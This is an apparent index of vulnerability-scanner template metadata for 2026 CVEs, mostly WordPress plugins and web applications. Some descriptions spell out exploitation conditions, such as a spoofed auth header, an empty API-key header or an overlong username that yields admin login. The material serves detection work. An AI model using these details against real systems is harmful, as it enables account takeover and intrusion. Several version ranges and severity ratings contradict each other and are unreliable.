{"ID":"CVE-2026-15733","Info":{"Name":"WGDashboard \u003c= 4.3.2 - Authenticated OS Command Injection /etc/passwd Read","Severity":"critical","Description":"WGDashboard \u003c= 4.2.3 contains a command injection caused by multiple OS command injection points, letting authenticated attackers execute arbitrary commands as root.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-15733.yaml"}
{"ID":"CVE-2026-1581","Info":{"Name":"wpForo Forum \u003c= 2.4.14 - SQL Injection","Severity":"critical","Description":"wpForo Forum WordPress plugin \u003c= 2.4.14 contains a time-based SQL injection caused by insufficient escaping of the 'wpfob' parameter, letting unauthenticated attackers extract sensitive database information.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-1581.yaml"}
{"ID":"CVE-2026-15826","Info":{"Name":"User Profile Builder 3.16.4 - Unauthenticated Authentication Bypass","Severity":"critical","Description":"The User Profile Builder plugin for WordPress version 3.16.4 is vulnerable to an authentication bypass via type confusion. Profile Builder's automatic-login-after-registration handler passes the return value of wp_insert_user() through absint() before testing it with is_wp_error(), so the error check runs against the already-coerced integer. A registration submitted with a 61-70 character username passes the plugin's own validation but is rejected by WordPress core, because the user_login column is VARCHAR(60), and wp_insert_user() returns a WP_Error object. absint() coerces that object to the integer 1, is_wp_error(1) is false, and the plugin binds a transient-backed autologin nonce to user ID 1. Consuming that nonce calls wp_set_auth_cookie(1) and logs the unauthenticated attacker in as the site's Administrator.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-15826.yaml"}
{"ID":"CVE-2026-1603","Info":{"Name":"Ivanti Endpoint Manager - Authentication Bypass","Severity":"high","Description":"Ivanti Endpoint Manager \u003c 2024 SU5 contains an authentication bypass caused by improper access control, letting remote unauthenticated attackers leak stored credential data, exploit requires no special privileges.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2026/CVE-2026-1603.yaml"}
{"ID":"CVE-2026-16268","Info":{"Name":"Newsletters \u003c 4.16 - Unauthenticated SSRF via SNS Bounce Handler","Severity":"medium","Description":"Newsletters WordPress plugin \u003c 4.16 contains a server-side request forgery caused by lack of authentication and validation in bounce-processing requests, letting unauthenticated attackers make arbitrary requests to internal or external hosts.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-16268.yaml"}
{"ID":"CVE-2026-17505","Info":{"Name":"WordPress TranslatePress \u003c 3.2.6 - Cross-Site Scripting","Severity":"medium","Description":"TranslatePress plugin \u003c 3.2.6 for WordPress contains a reflected cross-site scripting vulnerability in the translation marker processing feature, letting attackers inject and execute arbitrary JavaScript code, exploit requires no authentication or privileges.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2026/CVE-2026-17505.yaml"}
{"ID":"CVE-2026-17532","Info":{"Name":"Seraphinite Accelerator \u003c= 2.29.18 - Cross-Site Scripting","Severity":"medium","Description":"The Seraphinite Accelerator plugin for WordPress up to and including 2.29.18 was vulnerable to reflected cross-site scripting through the seraph_accel_prep parameter. CacheExtractPreparePageParams() compared the expected HMAC against the JSON-decoded nonce with PHP's loose != operator, so a JSON boolean true satisfied the comparison and bypassed the signature check, and _CbContentFinishSkip() then concatenated the attacker-controlled selfTest field straight into the response body, letting unauthenticated attackers inject arbitrary scripts.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2026/CVE-2026-17532.yaml"}
{"ID":"CVE-2026-17594","Info":{"Name":"Sonatype Nexus Repository \u003c 3.95.0 - Privilege Escalation via Repository Format Mismatch","Severity":"high","Description":"Nexus Repository 3 CE/Pro 3.0.0 through 3.94.x contains an incorrect authorization vulnerability caused by inconsistent authorization checks in the repository-creation UI, letting delegated repository-admin users create unauthorized repository formats, exploit requires delegated repository-admin privilege.\n","Classification":{"CVSSScore":"8.2"}},"file_path":"http/cves/2026/CVE-2026-17594.yaml"}
{"ID":"CVE-2026-1830","Info":{"Name":"Quick Playground \u003c= 1.3.1 - Missing Authorization to Unauthenticated Arbitrary File Upload","Severity":"critical","Description":"The Quick Playground plugin for WordPress is vulnerable to remote code execution in all versions up to, and including, 1.3.1.\nThe plugin exposes a blueprint REST API endpoint (permission_callback: __return_true) that leaks the sync code, and an upload_image endpoint that accepts file uploads with path traversal in the filename parameter without sufficient authorization checks, which can be chained into arbitrary PHP file upload and RCE.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-1830.yaml"}
{"ID":"CVE-2026-18577","Info":{"Name":"N-able N-central \u003c 2026.3.1.10 - Authentication Bypass","Severity":"critical","Description":"N-able N-central versions through 2026.3.1 contain an authentication bypass that lets a remote unauthenticated attacker take over an administrator account and gain full control of the N-central server. CVE-2026-18577 is a bypass of the incomplete fix for CVE-2026-18556, so the 2026.3.1 Hotfix 1 build (2026.3.1.7) does not fully remediate it. Hotfix 2 (2026.3.1.10) supersedes Hotfix 1 and is the first fully fixed 2026.3 build.\n","Classification":{"CVSSScore":"8.1"}},"file_path":"http/cves/2026/CVE-2026-18577.yaml"}
{"ID":"CVE-2026-1890","Info":{"Name":"LeadConnector \u003c 3.0.22 - Unauthenticated Arbitrary Data Write","Severity":"medium","Description":"LeadConnector WordPress plugin \u003c 3.0.22 contains a broken access control caused by missing authorization in a REST route, letting unauthenticated attackers overwrite existing data remotely, exploit requires no authentication.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-1890.yaml"}
{"ID":"CVE-2026-18963","Info":{"Name":"Keycloak \u003c 26.7.2 - Unauthenticated Account Takeover via Reset-Credentials Bypass","Severity":"critical","Description":"Keycloak versions prior to 26.7.2, 26.6.6, and 26.4.15 contain a flaw in the reset-credentials flow that allows an unauthenticated attacker to bypass email verification and take over any user account. Two bugs are chained: (1) the tryAnotherWay handler stores a generic \"true\" selector note not scoped to the execution ID, and (2) ResetCredentialEmail.action() calls context.success() without verifying ACTION_TOKEN_USER_ID.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2026/CVE-2026-18963.yaml"}
{"ID":"CVE-2026-19092","Info":{"Name":"Tutor LMS \u003c 4.0.6 - Unauthenticated Arbitrary PHP Function Invocation","Severity":"critical","Description":"Tutor LMS WordPress plugin \u003c 4.0.6 contains a template injection caused by insufficient prevention of request data overwriting internal variables during template rendering, letting unauthenticated attackers invoke arbitrary zero-argument PHP functions and receive their output.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-19092.yaml"}
{"ID":"CVE-2026-19478","Info":{"Name":"GitLab CE/EE - GraphQL @gl_introduced Arbitrary Method Invocation","Severity":"critical","Description":"GitLab has remediated an issue in GitLab CE/EE affecting all versions from 18.2 before 18.11.11, 19.0 before 19.0.8, 19.1 before 19.1.6, and 19.2 before 19.2.4 that under certain conditions could allow an unauthenticated user to remotely modify or delete public projects and user data via a GraphQL directive.\n","Classification":{"CVSSScore":"9.4"}},"file_path":"http/cves/2026/CVE-2026-19478.yaml"}
{"ID":"CVE-2026-19598","Info":{"Name":"Pods \u003c= 3.3.9 - Unauthenticated Privilege Escalation via pods_admin AJAX Router","Severity":"critical","Description":"The Pods – Custom Content Types and Fields plugin for WordPress is vulnerable to Privilege Escalation via Authorization Bypass in all versions up to, and including, 3.3.9. The vulnerability exists because the pods_admin AJAX router funnels every access check — including the method allowlist, nonce verification, login enforcement, and capability gate — through pods_error(), which under the JSON meta-box-loader compatibility path only writes failures to the PHP error log and returns false instead of terminating the request, rendering all guards ineffective. This makes it possible for unauthenticated attackers to escalate their privileges to Administrator or overwrite the password of any user account, including the site owner's, enabling complete site takeover, or perform another administrator action.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-19598.yaml"}
{"ID":"CVE-2026-19632","Info":{"Name":"TranslatePress \u003c= 3.3.1 - Unauthenticated Account Takeover","Severity":"critical","Description":"TranslatePress WordPress plugin \u003c= 3.3.1 contains a sensitive information exposure caused by the 'trp_get_translations_regular' AJAX action saving password-reset URLs in translation dictionary, letting unauthenticated attackers extract admin password-reset URLs, exploit requires automatic string saving enabled and admin profile locale set to a published secondary language.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-19632.yaml"}
{"ID":"CVE-2026-1980","Info":{"Name":"WPBookit \u003c= 1.0.8 - Unauthenticated Customer Information Disclosure","Severity":"medium","Description":"WPBookit WordPress plugin \u003c= 1.0.8 contains an information disclosure vulnerability caused by missing authorization check on 'get_customer_list' route, letting unauthenticated attackers retrieve sensitive customer data.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-1980.yaml"}
{"ID":"CVE-2026-19900","Info":{"Name":"LB-LINK Routers - Unauthenticated Command Injection","Severity":"critical","Description":"LB-LINK X-PRO 1.0.22-20231206 contains a hardcoded credentials vulnerability caused by manipulation of an unknown function in /etc/shadow, letting remote attackers use hardcoded credentials, exploit requires high complexity\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-19900.yaml"}
{"ID":"CVE-2026-20079","Info":{"Name":"Cisco Secure Firewall Management Center - Authentication Bypass","Severity":"critical","Description":"Cisco Secure Firewall Management Center Software contains an authentication bypass caused by improper system process creation at boot, letting unauthenticated remote attackers execute scripts and gain root access, exploit requires crafted HTTP requests.\n","Classification":{"CVSSScore":"10"}},"file_path":"http/cves/2026/CVE-2026-20079.yaml"}
{"ID":"CVE-2026-2025","Info":{"Name":"Mail Mint \u003c 1.19.5 - Unauthenticated Email Disclosure","Severity":"high","Description":"Mail Mint WordPress plugin \u003c 1.19.5 contains an information disclosure vulnerability caused by lack of authorization in a REST API endpoint, letting unauthenticated users retrieve email addresses of blog users, exploit requires no authentication.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-2025.yaml"}
{"ID":"CVE-2026-20253","Info":{"Name":"Splunk Enterprise \u0026 Cloud Platform - Unrestricted File Upload","Severity":"critical","Description":"In Splunk Enterprise versions below 10.2.4 and 10.0.7, and Splunk Cloud Platform versions below 10.4.2604.3 and 10.2.2510.14, an unauthenticated user could create or truncate arbitrary files through a PostgreSQL sidecar service endpoint.\u003cbr\u003e\u003cbr\u003eThe vulnerability exists because the PostgreSQL sidecar service endpoint lacks authentication controls, allowing any network-reachable user to invoke file operations without credentials.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-20253.yaml"}
{"ID":"CVE-2026-20896","Info":{"Name":"Gitea Docker Image \u003c= 1.26.2 - Reverse Proxy Header Authentication Bypass","Severity":"critical","Description":"The official Gitea Docker image through version 1.26.2 ships with REVERSE_PROXY_TRUSTED_PROXIES set to a wildcard, causing Gitea to trust reverse-proxy authentication headers (X-WEBAUTH-USER) from any source IP instead of restricting trust to the configured reverse proxy. When reverse-proxy authentication is enabled, an unauthenticated remote attacker can impersonate any existing user, including an administrator, by sending the target username in the X-WEBAUTH-USER header.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-20896.yaml"}
{"ID":"CVE-2026-2113","Info":{"Name":"tpadmin \u003c= 1.3.12 - Remote Code Execution","Severity":"critical","Description":"yuan1994 tpadmin up to version 1.3.12 is vulnerable to Remote Code Execution via unrestricted file upload in the WebUploader preview component (/public/static/admin/lib/webuploader/0.1.5/server/preview.php). An unauthenticated remote attacker can submit base64-encoded PHP payloads leading to arbitrary code execution with web server privileges.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-2113.yaml"}
{"ID":"CVE-2026-21445","Info":{"Name":"Langflow - Broken Access Control","Severity":"critical","Description":"Langflow is a tool for building and deploying AI-powered agents and workflows. Prior to version 1.7.0.dev45, multiple critical API endpoints in Langflow are missing authentication controls. The issue allows any unauthenticated user to access sensitive user conversation data, transaction histories, and perform destructive operations including message deletion. This affects endpoints handling personal data and system operations that should require proper authorization.\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2026/CVE-2026-21445.yaml"}
{"ID":"CVE-2026-21484","Info":{"Name":"AnythingLLM - Username Enumeration via Password Recovery","Severity":"medium","Description":"AnythingLLM is an application that turns pieces of content into context that any LLM can use as references during chatting. Prior to commit e287fab56089cf8fcea9ba579a3ecdeca0daa313, the password recovery endpoint returns different error messages depending on whether a username exists, so enabling username enumeration. Commit e287fab56089cf8fcea9ba579a3ecdeca0daa313 fixes this issue.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-21484.yaml"}
{"ID":"CVE-2026-21643","Info":{"Name":"Fortinet FortiClientEMS 7.4.4 - SQL Injection","Severity":"critical","Description":"Fortinet FortiClientEMS version 7.4.4 and earlier contains an unauthenticated SQL injection vulnerability in the /api/v1/init_consts endpoint. The 'Site' HTTP header value is passed directly into the PostgreSQL search_path without sanitization, allowing remote unauthenticated attackers to inject arbitrary SQL commands. This can lead to information disclosure, database manipulation, or OS command execution when chained with PostgreSQL functions.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-21643.yaml"}
{"ID":"CVE-2026-21858","Info":{"Name":"n8n Webhooks - Remote Code Execution","Severity":"critical","Description":"n8n is an open source workflow automation platform. Versions starting with 1.65.0 and below 1.121.0 enable an attacker to access files on the underlying server through execution of certain form-based workflows. A vulnerable workflow could grant access to an unauthenticated remote attacker, resulting in exposure of sensitive information stored on the system and may enable further compromise depending on deployment configuration and workflow usage. This issue is fixed in version 1.121.0.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2026/CVE-2026-21858.yaml"}
{"ID":"CVE-2026-21859","Info":{"Name":"Mailpit \u003c 1.28.3 - Server-Side Request Forgery","Severity":"high","Description":"Mailpit \u003c= 1.28.0 contains a server-side request forgery caused by insufficient validation of internal IP addresses in the /proxy endpoint, letting attackers make requests to internal network resources, exploit requires crafted HTTP GET requests.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2026/CVE-2026-21859.yaml"}
{"ID":"CVE-2026-21875","Info":{"Name":"ClipBucket v5 \u003c= 5.5.2 - Unauthenticated Blind SQL Injection","Severity":"critical","Description":"ClipBucket v5.5.2-#187 and below contain a blind SQL injection caused by unsanitized obj_id parameter in /actions/ajax.php used in user_exists function, letting attackers perform blind SQL injection remotely, exploit requires crafted POST request.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-21875.yaml"}
{"ID":"CVE-2026-21877","Info":{"Name":"n8n \u003e= 0.123.0 and \u003c 1.121.3 - Remote Code Execution","Severity":"critical","Description":"n8n versions \u003e= 0.123.0 and \u003c 1.121.3 contain a critical authenticated remote code execution vulnerability via arbitrary file write. An authenticated user can exploit the Git node to overwrite critical files and execute untrusted code on the n8n server, potentially leading to full system compromise. The vulnerability affects both self-hosted and n8n Cloud instances.\n","Classification":{"CVSSScore":"9.9"}},"file_path":"http/cves/2026/CVE-2026-21877.yaml"}
{"ID":"CVE-2026-21891","Info":{"Name":"ZimaOS - Authentication Bypass","Severity":"critical","Description":"ZimaOS \u003c= 1.5.0 contains a broken authentication caused by improper password validation for known system service accounts in the login function, letting attackers authenticate with any password for these accounts, exploit requires knowledge of common usernames.\n","Classification":{"CVSSScore":"9.4"}},"file_path":"http/cves/2026/CVE-2026-21891.yaml"}
{"ID":"CVE-2026-22200","Info":{"Name":"osTicket - Arbitrary File Read","Severity":"high","Description":"Enhancesoft osTicket versions 1.18.x prior to 1.18.3 and 1.17.x prior to 1.17.7 contain an arbitrary file read vulnerability in the ticket PDF export functionality. A remote attacker can submit a ticket containing crafted rich-text HTML that includes PHP filter expressions which are insufficiently sanitized before being processed by the mPDF PDF generator during export. When the attacker exports the ticket to PDF, the generated PDF can embed the contents of attacker-selected files from the server filesystem as bitmap images, allowing disclosure of sensitive local files in the context of the osTicket application user. This issue is exploitable in default configurations where guests may create tickets and access ticket status, or where self-registration is enabled.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-22200.yaml"}
{"ID":"CVE-2026-22557","Info":{"Name":"UniFi Network Application - Path Traversal","Severity":"critical","Description":"UniFi Network Application contains a path traversal vulnerability allowing a network attacker to access and manipulate files on the underlying system, potentially leading to account access, exploit requires network access.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2026/CVE-2026-22557.yaml"}
{"ID":"CVE-2026-2262","Info":{"Name":"Easy Appointments \u003c= 3.12.21 - Information Disclosure","Severity":"high","Description":"Easy Appointments WordPress plugin \u003c= 3.12.21 contains a sensitive information exposure caused by an unauthenticated REST API endpoint /wp-json/wp/v2/eablocks/ea_appointments/ registered with permission_callback allowing unrestricted access, letting unauthenticated attackers extract sensitive customer appointment data.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-2262.yaml"}
{"ID":"CVE-2026-22683","Info":{"Name":"Windmill \u003c 1.603.3 - Operator Authorization Bypass","Severity":"high","Description":"Windmill versions 1.276.0 through 1.603.2 contain an authorization bypass vulnerability in the folder management API endpoints. The endpoints for creating, deleting, and managing folder ownership do not enforce role-based access control for operator-level users. In Windmill, operators are restricted users intended to only execute existing scripts, but due to missing server-side authorization checks, operators can create folders, manage folder permissions, and access owner management endpoints. This bypass serves as the prerequisite for exploiting CVE-2026-23696 (SQL injection via folder addowner) enabling full privilege escalation from operator to super admin with remote code execution.\n","Classification":{"CVSSScore":"8.1"}},"file_path":"http/cves/2026/CVE-2026-22683.yaml"}
{"ID":"CVE-2026-22739","Info":{"Name":"Spring Cloud Config Server - Path Traversal","Severity":"high","Description":"Spring Cloud 3.1.x \u003c 3.1.13, 4.1.x \u003c 4.1.9, 4.2.x \u003c 4.2.3, 4.3.x \u003c 4.3.2, and 5.0.x \u003c 5.0.2 contain a path traversal caused by profile parameter substitution in Config Server using native file system backend, letting attackers access files outside configured directories, exploit requires crafted request.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2026/CVE-2026-22739.yaml"}
{"ID":"CVE-2026-22778","Info":{"Name":"vLLM 0.8.3 - 0.14.0 - Information Disclosure","Severity":"critical","Description":"vLLM 0.8.3 to - 0.14.1 contains an information disclosure caused by leaking a heap address in error messages from the multimodal endpoint when processing invalid images, letting remote attackers reduce ASLR entropy, exploit requires sending invalid images.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-22778.yaml"}
{"ID":"CVE-2026-22812","Info":{"Name":"OpenCode \u003c 1.0.216 - Unauthenticated Remote Code Execution","Severity":"high","Description":"OpenCode versions prior to 1.0.216 contain an unauthenticated remote code execution vulnerability. The application exposes session and shell execution endpoints without proper authentication, allowing remote attackers to create sessions and execute arbitrary shell commands on the underlying server.\n","Classification":{"CVSSScore":"8.8"}},"file_path":"http/cves/2026/CVE-2026-22812.yaml"}
{"ID":"CVE-2026-23482","Info":{"Name":"Blinko \u003c 1.8.4 - Path Traversal","Severity":"high","Description":"Blinko \u003c 1.8.4 contains a path traversal vulnerability caused by lack of permission checks and filtering on the temp/ path in the file server endpoint, letting unauthorized attackers read arbitrary files including backup files with user notes and tokens, exploit requires no special privileges.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-23482.yaml"}
{"ID":"CVE-2026-23483","Info":{"Name":"Blinko \u003c= 1.8.3 - Path Traversal via /plugins","Severity":"medium","Description":"Blinko \u003c= 1.8.3 contains a path traversal caused by improper path concatenation without verification in the plugin file server endpoint, letting remote attackers access arbitrary files, exploit requires network access.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-23483.yaml"}
{"ID":"CVE-2026-23486","Info":{"Name":"Blinko \u003c= 1.8.3 - User Information Leak","Severity":"low","Description":"Blinko \u003c= 1.8.4 contains an information disclosure caused by a publicly accessible endpoint exposing user information including usernames, roles, and account creation dates, letting remote attackers access sensitive user data, exploit requires no special privileges.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-23486.yaml"}
{"ID":"CVE-2026-23491","Info":{"Name":"InvoicePlane \u003c= 1.6.3 - Arbitrary File Read","Severity":"high","Description":"InvoicePlane through 1.6.3 is vulnerable to an unauthenticated path traversal in the guest \"Get::get_file()\" controller. The supplied filename is passed to readfile() after a single urldecode() with no directory-traversal validation, allowing an unauthenticated attacker to read files outside the customer-files upload directory - including the application's own \"ipconfig.php\", which discloses the database credentials and the application ENCRYPTION_KEY. Fixed in 1.6.4 by the validate_file_access() helper.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-23491.yaml"}
{"ID":"CVE-2026-23536","Info":{"Name":"Feast Feature Server \u003c=0.58.0 - Arbitrary File Read","Severity":"high","Description":"Feast (the open-source Feature Store) Feature Server through 0.58.0 exposes an unauthenticated POST /read-document endpoint that reads an arbitrary, caller-supplied file path with no authentication and no path validation. The read_document_endpoint handler passes the JSON `file_path` field straight to os.path.exists()/open() and returns the file contents in the JSON `content` field, so a remote, unauthenticated attacker can read any file readable by the server process (e.g. /etc/passwd, feature_store.yaml, cloud credentials). Unlike the store-mutating routes it carries no inject_user_details/permission dependency.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-23536.yaml"}
{"ID":"CVE-2026-23550","Info":{"Name":"Modular DS - Broken Access Control","Severity":"high","Description":"Modular DS = 2.5.1 contains a broken access control vulnerability caused by incorrect privilege assignment, letting attackers escalate their privileges, exploit requires no special conditions.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-23550.yaml"}
{"ID":"CVE-2026-23693","Info":{"Name":"ElementsKit Lite \u003c3.7.9 - Unauthenticated Mailchimp Proxy","Severity":"high","Description":"The ElementsKit Elementor Addons Lite (elementskit-lite) plugin for WordPress before 3.7.9 registers the REST route /wp-json/elementskit/v1/widget/mailchimp/subscribe with no authentication or capability check (CWE-306). The handler accepts client-supplied Mailchimp API credentials and a `list` parameter and issues upstream Mailchimp API requests, letting an unauthenticated attacker use the site as an open proxy to Mailchimp.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2026/CVE-2026-23693.yaml"}
{"ID":"CVE-2026-23696","Info":{"Name":"Windmill \u003c 1.603.3 - SQL Injection","Severity":"critical","Description":"Windmill versions 1.276.0 through 1.603.2 contain an authenticated SQL injection vulnerability in the folder owner management endpoint. The addowner API endpoint passes user-supplied input directly into a SQL query without sanitization, enabling JSONB path injection. An authenticated user with operator-level access can extract sensitive data including JWT secrets, password hashes, API tokens, and database credentials, leading to full privilege escalation and remote code execution.\n","Classification":{"CVSSScore":"9.9"}},"file_path":"http/cves/2026/CVE-2026-23696.yaml"}
{"ID":"CVE-2026-23744","Info":{"Name":"MCPJam Inspector - Remote Code Execution","Severity":"critical","Description":"MCPJam inspector is the local-first development platform for MCP servers. The Latest version 1.4.2 and earlier are vulnerable to a remote code execution (RCE) vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-23744.yaml"}
{"ID":"CVE-2026-23760","Info":{"Name":"SmarterTools SmarterMail - Admin Password Reset","Severity":"critical","Description":"Detected a SmartMail admin password reset vulnerability by sending a POST request to the `/api/v1/auth/force-reset-password` endpoint, indicating that administrative password resets could potentially be triggered without proper authorization.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-23760.yaml"}
{"ID":"CVE-2026-24128","Info":{"Name":"XWiki Platform Distribution Flavor Main - Cross-Site Scripting","Severity":"medium","Description":"XWiki Platform Distribution Flavor Main versions prior to 17.6.0 are vulnerable to reflected cross-site scripting (XSS) due to improper sanitization of user-supplied input in the extensionId parameter. An attacker can exploit this issue by injecting malicious JavaScript, which will be executed in the context of the victim's browser, potentially leading to session hijacking or other attacks.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2026/CVE-2026-24128.yaml"}
{"ID":"CVE-2026-2413","Info":{"Name":"Ally – Web Accessibility \u0026 Usability \u003c= 4.0.3 - SQL Injection","Severity":"high","Description":"The Ally – Web Accessibility \u0026 Usability plugin for WordPress is vulnerable to SQL Injection via the URL path in all versions up to, and including, 4.0.3. This is due to insufficient escaping on the user-supplied URL parameter in the `get_global_remediations()` method, where it is directly concatenated into an SQL JOIN clause without proper sanitization for SQL context. While `esc_url_raw()` is applied for URL safety, it does not prevent SQL metacharacters (single quotes, parentheses) from being injected. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database via time-based blind SQL injection techniques. The Remediation module must be active, which requires the plugin to be connected to an Elementor account.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-2413.yaml"}
{"ID":"CVE-2026-2416","Info":{"Name":"Geo Mashup \u003c= 1.13.17 - SQL Injection","Severity":"high","Description":"Geo Mashup WordPress plugin \u003c= 1.13.17 contains a SQL injection caused by insufficient escaping of the 'sort' parameter, letting unauthenticated attackers extract sensitive database information remotely.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-2416.yaml"}
{"ID":"CVE-2026-24207","Info":{"Name":"NVIDIA Triton Inference Server \u003c= 26.02 - Authentication Bypass","Severity":"critical","Description":"NVIDIA Triton Inference Server contains an authentication bypass vulnerability, letting attackers bypass authentication and potentially execute code, escalate privileges, tamper data, cause denial of service, or disclose information, exploit requires no special conditions.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-24207.yaml"}
{"ID":"CVE-2026-24423","Info":{"Name":"SmarterMail - Remote Code Execution","Severity":"critical","Description":"SmarterTools SmarterMail \u003c build 9511 contains an unauthenticated remote code execution caused by malicious OS command execution via ConnectToHub API method, letting remote attackers execute arbitrary commands, exploit requires no authentication.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-24423.yaml"}
{"ID":"CVE-2026-24477","Info":{"Name":"AnythingLLM - Information Disclosure","Severity":"high","Description":"AnythingLLM is an application that turns pieces of content into context that any LLM can use as references during chatting. If AnythingLLM prior to version 1.10.0 is configured to use Qdrant as the vector database with an API key, this QdrantApiKey could be exposed in plain text to unauthenticated users via the `/api/setup-complete` endpoint. Leakage of QdrantApiKey allows an unauthenticated attacker full read/write access to the Qdrant vector database instance used by AnythingLLM. Since Qdrant often stores the core knowledge base for RAG in AnythingLLM, this can lead to complete compromise of the semantic search / retrieval functionality and indirect leakage of confidential uploaded documents. Version 1.10.0 patches the issue.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2026/CVE-2026-24477.yaml"}
{"ID":"CVE-2026-25231","Info":{"Name":"FileRise \u003c= 3.3.0 - Unauthenticated File Read","Severity":"high","Description":"FileRise \u003c= 3.3.0 contains an unauthenticated file read vulnerability caused by a lack of access control on the /uploads directory, letting unauthenticated attackers access uploaded files directly, exploit requires knowledge or guessing of file paths.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-25231.yaml"}
{"ID":"CVE-2026-25512","Info":{"Name":"Group-Office \u003c 26.0.5 - Remote Code Execution","Severity":"critical","Description":"Group-Office before versions 6.8.150, 25.0.82, and 26.0.5 is vulnerable to remote code execution via OS command injection. The endpoint email/message/tnefAttachmentFromTempFile directly concatenates the user-controlled parameter tmp_file into an exec() call. By injecting shell metacharacters into tmp_file, an authenticated attacker can execute arbitrary system commands on the server.\n","Classification":{"CVSSScore":"9.9"}},"file_path":"http/cves/2026/CVE-2026-25512.yaml"}
{"ID":"CVE-2026-25527","Info":{"Name":"changedetection.io \u003c= 0.52.9 - Unauthenticated Path Traversal","Severity":"medium","Description":"changedetection.io \u003c= 0.53.9 contains a path traversal caused by improper validation of the 'group' parameter in /static/\u003cgroup\u003e/\u003cfilename\u003e route, letting unauthenticated attackers read local application source files.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2026/CVE-2026-25527.yaml"}
{"ID":"CVE-2026-25545","Info":{"Name":"Astro SSR - Server-Side Request Forgery","Severity":"high","Description":"Astro before 5.17.3 and @astrojs/node before 9.5.4 are vulnerable to full-read SSRF due to improper Host header validation in error page rendering, allowing attackers to redirect requests and access internal resources.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2026/CVE-2026-25545.yaml"}
{"ID":"CVE-2026-25555","Info":{"Name":"OpenBullet2 \u003c= 0.3.2 - Authentication Bypass","Severity":"critical","Description":"OpenBullet2 \u003c= 0.3.2 contains an authentication bypass caused by improper API key authentication middleware handling empty X-Api-Key header, letting unauthenticated attackers gain admin access, exploit requires sending empty X-Api-Key header.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2026/CVE-2026-25555.yaml"}
{"ID":"CVE-2026-25616","Info":{"Name":"Blesta \u003c= 5.13.1 - Cross-Site Scripting","Severity":"medium","Description":"Blesta 3.x through 5.x before 5.13.3 contains an input validation vulnerability caused by mishandling input, letting attackers potentially exploit the system, exploit requires unspecified conditions.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2026/CVE-2026-25616.yaml"}
{"ID":"CVE-2026-25892","Info":{"Name":"Adminer 4.6.2 - 5.4.1 Unauthenticated Persistent DoS","Severity":"high","Description":"Adminer \u003c= 5.4.1 contains a denial of service caused by lack of origin validation in version check endpoint, letting attackers trigger server errors via crafted POST requests, exploit requires no special privileges.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2026/CVE-2026-25892.yaml"}
